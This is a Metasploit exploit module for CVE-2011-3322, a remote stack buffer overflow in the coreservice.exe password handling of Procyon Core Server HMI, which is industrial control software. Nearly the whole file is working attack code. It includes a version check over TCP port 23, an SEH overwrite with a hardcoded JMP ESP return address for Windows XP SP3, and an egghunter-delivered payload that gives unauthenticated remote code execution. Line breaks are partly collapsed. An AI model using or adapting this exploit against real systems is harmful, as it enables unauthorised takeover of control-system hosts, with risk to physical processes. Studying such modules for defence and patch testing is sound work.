### $Id: procyon_core_server.rb 13724 2011-09-12 21:42:36Z swtornio $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,'Name' => "Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow",'Description'=> %q{
This module exploits a vulnerability in the coreservice.exe component of Proycon
Core Server <= v1.13.While processing a password, the application
fails to do proper bounds checking before copying data into a small buffer on the stack.
This causes a buffer overflow and allows to overwrite a structured exception handling
record on the stack, allowing for unauthenticated remote code execution.Also, after the
payload exits, Coreservice.exe should automatically recover.},'License'=> MSF_LICENSE,'Version'=> '$Revision: 13724 $','Author' =>
['Knud Højgaard <keh[at]nsense.dk>',# Initial discovery'mr_me <steventhomasseeley[at]gmail.com>',# Initial discovery & poc/msf],'References' =>
[['CVE','CVE-2011-3322'],['OSVDB','75371'],['URL','http://www.uscert.gov/control_systems/pdf/ICSA-11-216-01.pdf'],['URL','http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-Stack-Overflow']],'Payload'=>
{'BadChars' => "\x00\x0a\x0d",},'DefaultOptions'=>
{'ExitFunction' => 'process',},'Platform' => 'win','Targets'=>
[['Windows XP SP3 - No dep bypass',{'Ret'=> 0x774699bf,# JMP ESP [user32.dll]'Edx'=> 0x1D847770,# 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]'Eax'=> 0x01010106,# 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]'Offset' => 8
}],],'Privileged' => true,'DisclosureDate' => "Sep 08 2011",'DefaultTarget'=> 0))
register_options([
Opt::RPORT(23)], self.class)end
def check
connect
res = sock.get_once.chomp#This gives us string "----------------------------"
res = sock.get_once.chomp#This gives us the actual software version
disconnect
if res =~ /Core Command Interface V1\.(.*)2/
return Exploit::CheckCode::Vulnerable
endreturn Exploit::CheckCode::Safe
end
def exploit
eggoptions =
{
:checksum => false,
:eggtag => 'ssec',}
badchars = "\x00\x0a\x0d"
hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)
sploit = rand_text_alpha_upper(45)
sploit << [target['Edx']].pack('V')
sploit << [0x41414141].pack('V')
sploit << [target['Eax']].pack('V')
sploit << rand_text_alpha_upper(target['Offset'])
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << hunter
sploit << rand_text_alpha_upper(500)
sploit << egg
sploit << "\r\n"
connect
sock.get_once()
print_status("Sending request...")
sock.put(sploit)
handler()
disconnect
endend